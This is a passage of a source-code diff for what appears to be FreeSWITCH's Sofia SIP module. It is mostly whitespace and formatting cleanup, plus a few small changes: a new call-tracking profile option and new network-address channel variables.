}
nua_destroy(profile->nua);
-
+
switch_mutex_lock(profile->ireg_mutex);
switch_mutex_unlock(profile->ireg_mutex);
@@ -1504,7 +1552,8 @@
static void logger(void *logarg, char const *fmt, va_list ap)
{
- if (!fmt) return;
+ if (!fmt)
+ return;
if (ap) {
switch_log_vprintf(SWITCH_CHANNEL_LOG_CLEAN, mod_sofia_globals.tracelevel, fmt, ap);
@@ -1513,7 +1562,7 @@
}
}
-static su_log_t *sofia_get_logger(const char *name)
+static su_log_t *sofia_get_logger(const char *name)
{
if (!strcasecmp(name, "tport")) {
return tport_log;
@@ -1545,11 +1594,11 @@
switch_status_t sofia_set_loglevel(const char *name, int level)
{
su_log_t *log = NULL;
-
+
if (level < 0 || level > 9) {
return SWITCH_STATUS_FALSE;
}
-
+
if (!strcasecmp(name, "all")) {
su_log_set_level(su_log_default, level);
su_log_set_level(tport_log, level);
@@ -1564,20 +1613,20 @@
su_log_set_level(stun_log, level);
return SWITCH_STATUS_SUCCESS;
}
-
+
if (!(log = sofia_get_logger(name))) {
return SWITCH_STATUS_FALSE;
}
-
+
su_log_set_level(log, level);
-
+
return SWITCH_STATUS_SUCCESS;
}
int sofia_get_loglevel(const char *name)
{
su_log_t *log = NULL;
-
+
if ((log = sofia_get_logger(name))) {
return log->log_level;
} else {
@@ -1595,10 +1644,10 @@
if ((gw_sub = switch_core_alloc(profile->pool, sizeof(*gw_sub)))) {
char *expire_seconds = "3600", *retry_seconds = "30", *content_type = "NO_CONTENT_TYPE";
char *event = (char *) switch_xml_attr_soft(subscription_tag, "event");
- gw_sub->event = switch_core_strdup(gateway->pool, event);
+ gw_sub->event = switch_core_strdup(gateway->pool, event);
gw_sub->gateway = gateway;
gw_sub->next = NULL;
-
+
for (param = switch_xml_child(subscription_tag, "param"); param; param = param->next) {
char *var = (char *) switch_xml_attr_soft(param, "name");
char *val = (char *) switch_xml_attr_soft(param, "value");
@@ -1610,23 +1659,22 @@
content_type = val;
}
}
-
+
gw_sub->retry_seconds = atoi(retry_seconds);
if (gw_sub->retry_seconds < 10) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "INVALID: retry_seconds correcting the value to 30\n");
gw_sub->retry_seconds = 30;
}
-
- gw_sub->expires_str = switch_core_strdup(gateway->pool, expire_seconds);
-
+
+ gw_sub->expires_str = switch_core_strdup(gateway->pool, expire_seconds);
+
if ((gw_sub->freq = atoi(gw_sub->expires_str)) < 5) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "Invalid Freq: %d. Setting Register-Frequency to 3600\n", gw_sub->freq);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid Freq: %d. Setting Register-Frequency to 3600\n", gw_sub->freq);
gw_sub->freq = 3600;
}
gw_sub->freq -= 2;
gw_sub->content_type = switch_core_strdup(gateway->pool, content_type);
- gw_sub->next = gateway->subscriptions;
+ gw_sub->next = gateway->subscriptions;
}
gateway->subscriptions = gw_sub;
}
@@ -1671,14 +1719,14 @@
*retry_seconds = "30",
*from_user = "", *from_domain = NULL, *outbound_proxy = NULL, *register_proxy = NULL, *contact_host = NULL,
*contact_params = NULL, *params = NULL, *register_transport = NULL;
-
+
if (!context) {
context = "default";
}
-
+
switch_uuid_get(&uuid);
switch_uuid_format(gateway->uuid_str, &uuid);
-
+
gateway->register_transport = SOFIA_TRANSPORT_UDP;
gateway->pool = profile->pool;
gateway->profile = profile;
@@ -1690,20 +1738,20 @@
gateway->ping_max = 0;
gateway->ping_min = 0;
gateway->ping_count = 0;
-
+
if ((x_params = switch_xml_child(gateway_tag, "variables"))) {
param = switch_xml_child(x_params, "variable");
} else {
param = switch_xml_child(gateway_tag, "variable");
}
-
-
+
+
for (; param; param = param->next) {
const char *var = switch_xml_attr(param, "name");
const char *val = switch_xml_attr(param, "value");
const char *direction = switch_xml_attr(param, "direction");
int in = 0, out = 0;
-
+
if (var && val) {
if (direction) {
if (!strcasecmp(direction, "inbound")) {
@@ -1736,11 +1784,11 @@
} else {
param = switch_xml_child(gateway_tag, "param");
}
-
+
for (; param; param = param->next) {
char *var = (char *) switch_xml_attr_soft(param, "name");
char *val = (char *) switch_xml_attr_soft(param, "value");
-
+
if (!strcmp(var, "register")) {
register_str = val;
} else if (!strcmp(var, "scheme")) {
@@ -1773,7 +1821,7 @@
expire_seconds = val;
} else if (!strcmp(var, "retry-seconds")) {
retry_seconds = val;
- } else if (!strcmp(var, "retry_seconds")) { // support typo for back compat
+ } else if (!strcmp(var, "retry_seconds")) { // support typo for back compat
retry_seconds = val;
} else if (!strcmp(var, "from-user")) {
from_user = val;
@@ -1815,7 +1863,7 @@
if ((gw_subs_tag = switch_xml_child(gateway_tag, "subscriptions"))) {
parse_gateway_subscriptions(profile, gateway, gw_subs_tag);
}
-
+
if (zstr(realm)) {
if (zstr(proxy)) {
realm = name;
@@ -1854,7 +1902,7 @@
if (zstr(auth_username)) {
auth_username = username;
}
-
+
if (!zstr(register_proxy)) {
if (strncasecmp(register_proxy, "sip:", 4) && strncasecmp(register_proxy, "sips:", 5)) {
gateway->register_sticky_proxy = switch_core_sprintf(gateway->pool, "sip:%s", register_proxy);
@@ -1908,10 +1956,10 @@
}
gateway->register_url = switch_core_sprintf(gateway->pool, "sip:%s", proxy);
- gateway->register_from = switch_core_sprintf(gateway->pool, "<sip:%s@%s;transport=%s>",
+ gateway->register_from = switch_core_sprintf(gateway->pool, "<sip:%s@%s;transport=%s>",
from_user, !zstr(from_domain) ? from_domain : proxy, register_transport);
- sipip = contact_host ? contact_host : profile->extsipip ? profile->extsipip : profile->sipip;
+ sipip = contact_host ? contact_host : profile->extsipip ? profile->extsipip : profile->sipip;
if (extension_in_contact) {
format = strchr(sipip, ':') ? "<sip:%s@[%s]:%d%s>" : "<sip:%s@%s:%d%s>";
@@ -1928,7 +1976,7 @@
}
gateway->extension = switch_core_strdup(gateway->pool, extension);
-
+
if (!strncasecmp(proxy, "sip:", 4)) {
gateway->register_proxy = switch_core_strdup(gateway->pool, proxy);
gateway->register_to = switch_core_sprintf(gateway->pool, "sip:%s@%s", username, proxy + 4);
@@ -1940,8 +1988,8 @@
gateway->expires_str = switch_core_strdup(gateway->pool, expire_seconds);
if ((gateway->freq = atoi(gateway->expires_str)) < 5) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid register-frequency of %d on gateway %s, using the value of 3600 instead\n",
- gateway->freq, name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "Invalid register-frequency of %d on gateway %s, using the value of 3600 instead\n", gateway->freq, name);
gateway->freq = 3600;
}
@@ -1961,8 +2009,7 @@
if (sofia_glue_add_profile(switch_core_strdup(profile->pool, dname), profile) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding Alias [%s] for profile [%s]\n", dname, profile->name);
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Alias [%s] for profile [%s] (already exists)\n",
- dname, profile->name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Alias [%s] for profile [%s] (already exists)\n", dname, profile->name);
}
}
@@ -2002,7 +2049,7 @@
if (switch_stristr("~CISCO_SKIP_MARK_BIT_2833", str)) {
profile->auto_rtp_bugs &= ~RTP_BUG_CISCO_SKIP_MARK_BIT_2833;
}
-
+
if (switch_stristr("SONUS_SEND_INVALID_TIMESTAMP_2833", str)) {
profile->auto_rtp_bugs |= RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833;
}
@@ -2031,7 +2078,7 @@
status = SWITCH_STATUS_FALSE;
goto done;
}
-
+
if ((profiles = switch_xml_child(cfg, "profiles"))) {
for (xprofile = switch_xml_child(profiles, "profile"); xprofile; xprofile = xprofile->next) {
char *xprofilename = (char *) switch_xml_attr_soft(xprofile, "name");
@@ -2042,7 +2089,7 @@
}
/* you could change profile->foo here if it was a minor change like context or dialplan ... */
- profile->rport_level = 1; /* default setting */
+ profile->rport_level = 1; /* default setting */
profile->acl_count = 0;
profile->reg_acl_count = 0;
profile->proxy_acl_count = 0;
@@ -2051,7 +2098,7 @@
profile->ib_calls = 0;
profile->ob_calls = 0;
profile->ib_failed_calls = 0;
- profile->ob_failed_calls = 0;
+ profile->ob_failed_calls = 0;
profile->shutdown_type = "false";
if (xprofiledomain) {
@@ -2093,12 +2140,12 @@
}
} else if (!strcasecmp(var, "auto-rtp-bugs")) {
parse_rtp_bugs(profile, val);
- } else if (!strcasecmp(var, "user-agent-string")) {
+ } else if (!strcasecmp(var, "user-agent-string")) {
profile->user_agent = switch_core_strdup(profile->pool, val);
} else if (!strcasecmp(var, "auto-restart")) {
profile->auto_restart = switch_true(val);
} else if (!strcasecmp(var, "log-auth-failures")) {
- if (switch_true(val)) {
+ if (switch_true(val)) {
sofia_set_pflag(profile, PFLAG_LOG_AUTH_FAIL);
} else {
sofia_clear_pflag(profile, PFLAG_LOG_AUTH_FAIL);
@@ -2139,7 +2186,7 @@
sofia_clear_flag(profile, TFLAG_LATE_NEGOTIATION);
}
} else if (!strcasecmp(var, "inbound-proxy-media")) {
- if (switch_true(val)) {
+ if (switch_true(val)) {
sofia_set_flag(profile, TFLAG_PROXY_MEDIA);
} else {
sofia_clear_flag(profile, TFLAG_PROXY_MEDIA);
@@ -2181,7 +2228,7 @@
profile->ndlb &= ~PFLAG_NDLB_ALLOW_BAD_IANANAME;
}
} else if (!strcasecmp(var, "aggressive-nat-detection")) {
- if (switch_true(val)) {
+ if (switch_true(val)) {
sofia_set_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
} else {
sofia_clear_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION);
@@ -2194,15 +2241,15 @@
}
} else if (!strcasecmp(var, "NDLB-support-asterisk-missing-srtp-auth")) {
if (switch_true(val)) {
- sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
+ sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
} else {
- sofia_clear_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
+ sofia_clear_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
}
} else if (!strcasecmp(var, "NDLB-funny-stun")) {
if (switch_true(val)) {
- sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
+ sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
} else {
- sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
+ sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
}
} else if (!strcasecmp(var, "stun-enabled")) {
if (switch_true(val)) {
@@ -2214,7 +2261,7 @@
if (switch_true(val)) {
sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
} else {
- sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
+ sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
}
} else if (!strcasecmp(var, "apply-nat-acl")) {
if (profile->acl_count < SOFIA_MAX_ACL) {
@@ -2411,7 +2458,8 @@
profile->dtmf_duration = dur;
} else {
profile->dtmf_duration = SWITCH_DEFAULT_DTMF_DURATION;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n", SWITCH_DEFAULT_DTMF_DURATION);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n",
+ SWITCH_DEFAULT_DTMF_DURATION);
}
} else if (!strcasecmp(var, "timer-T1")) {
int v = atoi(val);
@@ -2452,7 +2500,7 @@
if ((gateways_tag = switch_xml_child(xprofile, "gateways"))) {
parse_gateways(profile, gateways_tag);
}
-
+
status = SWITCH_STATUS_SUCCESS;
if ((domains_tag = switch_xml_child(xprofile, "domains"))) {
@@ -2461,7 +2509,7 @@
switch_assert(xml_params);
switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "purpose", "gateways");
switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "profile", profile->name);
-
+
for (domain_tag = switch_xml_child(domains_tag, "domain"); domain_tag; domain_tag = domain_tag->next) {
switch_xml_t droot, x_domain_tag;
const char *dname = switch_xml_attr_soft(domain_tag, "name");
@@ -2484,7 +2532,7 @@
}
}
}
-
+
switch_event_destroy(&xml_params);
}
@@ -2492,7 +2540,7 @@
for (alias_tag = switch_xml_child(aliases_tag, "alias"); alias_tag; alias_tag = alias_tag->next) {
char *aname = (char *) switch_xml_attr_soft(alias_tag, "name");
if (!zstr(aname)) {
-
+
if (sofia_glue_add_profile(switch_core_strdup(profile->pool, aname), profile) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Adding Alias [%s] for profile [%s]\n", aname, profile->name);
} else {
@@ -2505,11 +2553,11 @@
}
}
- done:
+ done:
if (xml) {
- switch_xml_free(xml);
- }
+ switch_xml_free(xml);
+ }
switch_event_destroy(¶ms);
@@ -2532,7 +2580,7 @@
su_deinit();
return SWITCH_STATUS_FALSE;
}
-
+
/* Redirect loggers in sofia */
su_log_redirect(su_log_default, logger, NULL);
su_log_redirect(tport_log, logger, NULL);
@@ -2693,7 +2741,7 @@
} else if (!strcasecmp(var, "auto-restart")) {
profile->auto_restart = switch_true(val);
} else if (!strcasecmp(var, "log-auth-failures")) {
- if (switch_true(val)) {
+ if (switch_true(val)) {
sofia_set_pflag(profile, PFLAG_LOG_AUTH_FAIL);
} else {
sofia_clear_pflag(profile, PFLAG_LOG_AUTH_FAIL);
@@ -2767,6 +2815,8 @@
} else {
sofia_clear_pflag(profile, PFLAG_UUID_AS_CALLID);
}
+ } else if (!strcasecmp(var, "track-calls") && switch_true(val)) {
+ sofia_set_pflag(profile, PFLAG_TRACK_CALLS);
} else if (!strcasecmp(var, "NDLB-received-in-nat-reg-contact") && switch_true(val)) {
sofia_set_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT);
} else if (!strcasecmp(var, "aggressive-nat-detection") && switch_true(val)) {
@@ -2777,21 +2827,21 @@
sofia_set_pflag(profile, PFLAG_DISABLE_SRTP_AUTH);
} else if (!strcasecmp(var, "NDLB-funny-stun")) {
if (switch_true(val)) {
- sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
+ sofia_set_pflag(profile, PFLAG_FUNNY_STUN);
} else {
- sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
+ sofia_clear_pflag(profile, PFLAG_FUNNY_STUN);
}
} else if (!strcasecmp(var, "stun-enabled")) {
if (switch_true(val)) {
sofia_set_pflag(profile, PFLAG_STUN_ENABLED);
} else {
- sofia_clear_pflag(profile, PFLAG_STUN_ENABLED);
+ sofia_clear_pflag(profile, PFLAG_STUN_ENABLED);
}
} else if (!strcasecmp(var, "stun-auto-disable")) {
if (switch_true(val)) {
sofia_set_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
} else {
- sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
+ sofia_clear_pflag(profile, PFLAG_STUN_AUTO_DISABLE);
}
} else if (!strcasecmp(var, "user-agent-filter")) {
profile->user_agent_filter = switch_core_strdup(profile->pool, val);
@@ -2802,7 +2852,7 @@
} else if (!strcasecmp(var, "cng-pt") && !sofia_test_pflag(profile, PFLAG_SUPPRESS_CNG)) {
profile->cng_pt = (switch_payload_t) atoi(val);
} else if (!strcasecmp(var, "sip-port")) {
- profile->sip_port = (switch_port_t)atoi(val);
+ profile->sip_port = (switch_port_t) atoi(val);
} else if (!strcasecmp(var, "vad")) {
if (!strcasecmp(val, "in")) {
sofia_set_flag(profile, TFLAG_VAD_IN);
@@ -2817,9 +2867,10 @@
} else if (!strcasecmp(var, "ext-rtp-ip")) {
if (!zstr(val)) {
char *ip = mod_sofia_globals.guess_ip;
-
+
if (!strcmp(val, "0.0.0.0")) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n", mod_sofia_globals.guess_ip);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n",
+ mod_sofia_globals.guess_ip);
} else if (!strcasecmp(val, "auto-nat")) {
ip = NULL;
} else {
@@ -2839,7 +2890,7 @@
}
} else if (!strcasecmp(var, "rtp-ip")) {
char *ip = mod_sofia_globals.guess_ip;
-
+
if (!strcmp(val, "0.0.0.0")) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n", mod_sofia_globals.guess_ip);
} else {
@@ -2860,11 +2911,12 @@
char *ip = mod_sofia_globals.guess_ip;
char stun_ip[50] = "";
char *myip = stun_ip;
-
+
switch_copy_string(stun_ip, ip, sizeof(stun_ip));
-
+
if (!strcasecmp(val, "0.0.0.0")) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n", mod_sofia_globals.guess_ip);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n",
+ mod_sofia_globals.guess_ip);
} else if (!strcasecmp(val, "auto-nat")) {
ip = NULL;
} else if (strcasecmp(val, "auto")) {
@@ -2878,7 +2930,7 @@
}
if (ip) {
if (!strncasecmp(ip, "autonat:", 8)) {
- profile->extsipip = switch_core_strdup(profile->pool, ip + 8);
+ profile->extsipip = switch_core_strdup(profile->pool, ip + 8);
sofia_set_pflag(profile, PFLAG_AUTO_NAT);
} else {
profile->extsipip = switch_core_strdup(profile->pool, ip);
@@ -2940,10 +2992,10 @@
} else if (!strcasecmp(var, "manage-presence")) {
if (!strcasecmp(val, "passive")) {
profile->pres_type = PRES_TYPE_PASSIVE;
-
+
} else if (switch_true(val)) {
profile->pres_type = PRES_TYPE_FULL;
- }
+ }
} else if (!strcasecmp(var, "manage-shared-appearance")) {
if (switch_true(val)) {
sofia_set_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE);
@@ -3182,7 +3234,7 @@
profile->dtmf_duration = dur;
} else {
profile->dtmf_duration = SWITCH_DEFAULT_DTMF_DURATION;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Duration out of bounds, using default of %d!\n",
SWITCH_DEFAULT_DTMF_DURATION);
}
@@ -3196,7 +3248,7 @@
} else if (!strcasecmp(var, "tls-bind-params")) {
profile->tls_bind_params = switch_core_strdup(profile->pool, val);
} else if (!strcasecmp(var, "tls-sip-port")) {
- profile->tls_sip_port = (switch_port_t)atoi(val);
+ profile->tls_sip_port = (switch_port_t) atoi(val);
} else if (!strcasecmp(var, "tls-cert-dir")) {
profile->tls_cert_dir = switch_core_strdup(profile->pool, val);
} else if (!strcasecmp(var, "tls-version")) {
@@ -3278,7 +3330,7 @@
}
if (!profile->sip_port) {
- profile->sip_port = (switch_port_t)atoi(SOFIA_DEFAULT_PORT);
+ profile->sip_port = (switch_port_t) atoi(SOFIA_DEFAULT_PORT);
}
if (!profile->dialplan) {
@@ -3298,31 +3350,20 @@
profile->public_url = switch_core_sprintf(profile->pool,
"sip:%s@%s%s%s:%d",
profile->contact_user,
- ipv6 ? "[" : "",
- profile->extsipip,
- ipv6 ? "]" : "",
- profile->sip_port);
+ ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->sip_port);
}
if (profile->extsipip && !sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
char *ipv6 = strchr(profile->extsipip, ':');
profile->url = switch_core_sprintf(profile->pool,
- "sip:%s@%s%s%s:%d",
- profile->contact_user,
- ipv6 ? "[" : "",
- profile->extsipip,
- ipv6 ? "]" : "",
- profile->sip_port);
+ "sip:%s@%s%s%s:%d",
+ profile->contact_user, ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->sip_port);
profile->bindurl = switch_core_sprintf(profile->pool, "%s;maddr=%s", profile->url, profile->sipip);
} else {
char *ipv6 = strchr(profile->sipip, ':');
profile->url = switch_core_sprintf(profile->pool,
- "sip:%s@%s%s%s:%d",
- profile->contact_user,
- ipv6 ? "[" : "",
- profile->sipip,
- ipv6 ? "]" : "",
- profile->sip_port);
+ "sip:%s@%s%s%s:%d",
+ profile->contact_user, ipv6 ? "[" : "", profile->sipip, ipv6 ? "]" : "", profile->sip_port);
profile->bindurl = profile->url;
}
@@ -3336,62 +3377,44 @@
char *bindurl = profile->bindurl;
profile->bindurl = switch_core_sprintf(profile->pool, "%s;%s", bindurl, profile->bind_params);
}
-
+
/*
* handle TLS params #2
*/
if (sofia_test_pflag(profile, PFLAG_TLS)) {
if (!profile->tls_sip_port) {
- profile->tls_sip_port = (switch_port_t)atoi(SOFIA_DEFAULT_TLS_PORT);
+ profile->tls_sip_port = (switch_port_t) atoi(SOFIA_DEFAULT_TLS_PORT);
}
if (profile->extsipip) {
char *ipv6 = strchr(profile->extsipip, ':');
profile->tls_public_url = switch_core_sprintf(profile->pool,
- "sip:%s@%s%s%s:%d",
- profile->contact_user,
- ipv6 ? "[" : "",
- profile->extsipip,
- ipv6 ? "]" : "",
- profile->tls_sip_port);
+ "sip:%s@%s%s%s:%d",
+ profile->contact_user,
+ ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->tls_sip_port);
}
-
+
if (profile->extsipip && !sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
char *ipv6 = strchr(profile->extsipip, ':');
- profile->tls_url =
+ profile->tls_url =
switch_core_sprintf(profile->pool,
"sip:%s@%s%s%s:%d",
- profile->contact_user,
- ipv6 ? "[" : "",
- profile->extsipip, ipv6 ? "]" : "",
- profile->tls_sip_port);
+ profile->contact_user, ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->tls_sip_port);
profile->tls_bindurl =
switch_core_sprintf(profile->pool,
"sips:%s@%s%s%s:%d;maddr=%s",
profile->contact_user,
- ipv6 ? "[" : "",
- profile->extsipip,
- ipv6 ? "]" : "",
- profile->tls_sip_port,
- profile->sipip);
+ ipv6 ? "[" : "", profile->extsipip, ipv6 ? "]" : "", profile->tls_sip_port, profile->sipip);
} else {
char *ipv6 = strchr(profile->sipip, ':');
- profile->tls_url =
+ profile->tls_url =
switch_core_sprintf(profile->pool,
"sip:%s@%s%s%s:%d",
- profile->contact_user,
- ipv6 ? "[" : "",
- profile->sipip,
- ipv6 ? "]" : "",
- profile->tls_sip_port);
+ profile->contact_user, ipv6 ? "[" : "", profile->sipip, ipv6 ? "]" : "", profile->tls_sip_port);
profile->tls_bindurl =
switch_core_sprintf(profile->pool,
"sips:%s@%s%s%s:%d",
- profile->contact_user,
- ipv6 ? "[" : "",
- profile->sipip,
- ipv6 ? "]" : "",
- profile->tls_sip_port);
+ profile->contact_user, ipv6 ? "[" : "", profile->sipip, ipv6 ? "]" : "", profile->tls_sip_port);
}
if (profile->tls_bind_params) {
@@ -3421,7 +3444,7 @@
switch_assert(xml_params);
switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "purpose", "gateways");
switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "profile", profile->name);
-
+
for (domain_tag = switch_xml_child(domains_tag, "domain"); domain_tag; domain_tag = domain_tag->next) {
switch_xml_t droot, x_domain_tag;
const char *dname = switch_xml_attr_soft(domain_tag, "name");
@@ -3431,7 +3454,8 @@
if (!zstr(dname)) {
if (!strcasecmp(dname, "all")) {
switch_xml_t xml_root, x_domains;
- if (switch_xml_locate("directory", NULL, NULL, NULL, &xml_root, &x_domains, xml_params, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
+ if (switch_xml_locate("directory", NULL, NULL, NULL, &xml_root, &x_domains, xml_params, SWITCH_FALSE) ==
+ SWITCH_STATUS_SUCCESS) {
for (x_domain_tag = switch_xml_child(x_domains, "domain"); x_domain_tag; x_domain_tag = x_domain_tag->next) {
dname = switch_xml_attr_soft(x_domain_tag, "name");
parse_domain_tag(profile, x_domain_tag, dname, parse, alias);
@@ -3444,7 +3468,7 @@
}
}
}
-
+
switch_event_destroy(&xml_params);
}
@@ -3520,12 +3544,12 @@
if (gateway->ping_count < gateway->ping_max) {
gateway->ping_count++;
- if (gateway->ping_count >= 0) gateway->status = SOFIA_GATEWAY_UP;
+ if (gateway->ping_count >= 0)
+ gateway->status = SOFIA_GATEWAY_UP;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
- "Ping succeeded %s with code %d - count %d/%d/%d, state %s\n",
- gateway->name, status, gateway->ping_min, gateway->ping_count, gateway->ping_max,
- status_names[gateway->status]);
+ "Ping succeeded %s with code %d - count %d/%d/%d, state %s\n",
+ gateway->name, status, gateway->ping_min, gateway->ping_count, gateway->ping_max, status_names[gateway->status]);
}
} else {
if (gateway->state == REG_STATE_REGED) {
@@ -3536,13 +3560,13 @@
if (gateway->ping_count > gateway->ping_min) {
gateway->ping_count--;
- if (gateway->ping_count <= 0) gateway->status = SOFIA_GATEWAY_DOWN;
+ if (gateway->ping_count <= 0)
+ gateway->status = SOFIA_GATEWAY_DOWN;
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
- "Ping failed %s with code %d - count %d/%d/%d, state %s\n",
- gateway->name, status, gateway->ping_min, gateway->ping_count, gateway->ping_max,
- status_names[gateway->status]);
+ "Ping failed %s with code %d - count %d/%d/%d, state %s\n",
+ gateway->name, status, gateway->ping_min, gateway->ping_count, gateway->ping_max, status_names[gateway->status]);
}
gateway->ping = switch_epoch_time_now(NULL) + gateway->ping_freq;
@@ -3576,11 +3600,14 @@
int network_port = 0;
switch_caller_profile_t *caller_profile = NULL;
- sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
+ sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
switch_channel_set_variable(channel, "sip_reply_host", network_ip);
switch_channel_set_variable_printf(channel, "sip_reply_port", "%d", network_port);
-
+
+ switch_channel_set_variable_printf(channel, "sip_network_ip", "%s", network_ip);
+ switch_channel_set_variable_printf(channel, "sip_network_port", "%d", network_port);
+
if ((caller_profile = switch_channel_get_caller_profile(channel))) {
caller_profile->network_addr = switch_core_strdup(caller_profile->pool, network_ip);
}
@@ -3599,7 +3626,7 @@
if (switch_stristr("appearance", call_info)) {
switch_channel_set_variable(channel, "presence_call_info_full", call_info);
if ((p = strchr(call_info, ';'))) {
- switch_channel_set_variable(channel, "presence_call_info", p+1);
+ switch_channel_set_variable(channel, "presence_call_info", p + 1);
}
}
} else if ((status == 180 || status == 183 || status == 200)) {
@@ -3611,14 +3638,15 @@
state = "progressing";
}
- if (sip &&
+ if (sip &&
sip->sip_from && sip->sip_from->a_url && sip->sip_from->a_url->url_user && sip->sip_from->a_url->url_host &&
sip->sip_to && sip->sip_to->a_url && sip->sip_to->a_url->url_user && sip->sip_to->a_url->url_host) {
- sql = switch_mprintf("select 'appearance-index=1' from sip_subscriptions where expires > -1 and hostname='%q' and event='call-info' and "
- "sub_to_user='%q' and sub_to_host='%q'",
- mod_sofia_globals.hostname, sip->sip_to->a_url->url_user, sip->sip_from->a_url->url_host);
+ sql =
+ switch_mprintf("select 'appearance-index=1' from sip_subscriptions where expires > -1 and hostname='%q' and event='call-info' and "
+ "sub_to_user='%q' and sub_to_host='%q'", mod_sofia_globals.hostname, sip->sip_to->a_url->url_user,
+ sip->sip_from->a_url->url_host);
sofia_glue_execute_sql2str(profile, profile->ireg_mutex, sql, buf, sizeof(buf));
-
+
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "QUERY SQL %s [%s]\n", sql, buf);
}
@@ -3626,26 +3654,23 @@
if (!zstr(buf)) {
sql = switch_mprintf("update sip_dialogs set call_info='%q',call_info_state='%q' "
- "where uuid='%q'", buf, state,
- switch_core_session_get_uuid(session));
+ "where uuid='%q'", buf, state, switch_core_session_get_uuid(session));
if (mod_sofia_globals.debug_sla > 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "QUERY SQL %s\n", sql);
}
-
+
sofia_glue_execute_sql_now(profile, &sql, SWITCH_TRUE);
}
}
}
}
- if ((status == 180 || status == 183 || status == 200)) {
+ if ((status == 180 || status == 183 || status == 200)) {
const char *x_freeswitch_support;
switch_channel_set_flag(channel, CF_MEDIA_ACK);
- extract_vars(sip, session);
-
if ((x_freeswitch_support = sofia_glue_get_unknown_header(sip, "X-FS-Support"))) {
tech_pvt->x_freeswitch_support_remote = switch_core_session_strdup(session, x_freeswitch_support);
}
@@ -3655,7 +3680,7 @@
} else if (sip->sip_server && sip->sip_server->g_string) {
switch_channel_set_variable(channel, "sip_user_agent", sip->sip_server->g_string);
}
-
+
sofia_glue_set_extra_headers(channel, sip, SOFIA_SIP_PROGRESS_HEADER_PREFIX);
sofia_update_callee_id(session, profile, sip, SWITCH_FALSE);
@@ -3666,16 +3691,16 @@
}
}
-
+
if (channel && sip && (status == 300 || status == 302 || status == 305) && switch_channel_test_flag(channel, CF_OUTBOUND)) {
- sip_contact_t * p_contact = sip->sip_contact;
+ sip_contact_t *p_contact = sip->sip_contact;
int i = 0;
- char var_name[80];
+ char var_name[80];
const char *diversion_header;
char *full_contact = NULL;
char *invite_contact;
const char *br;
-
+
if (!p_contact) {
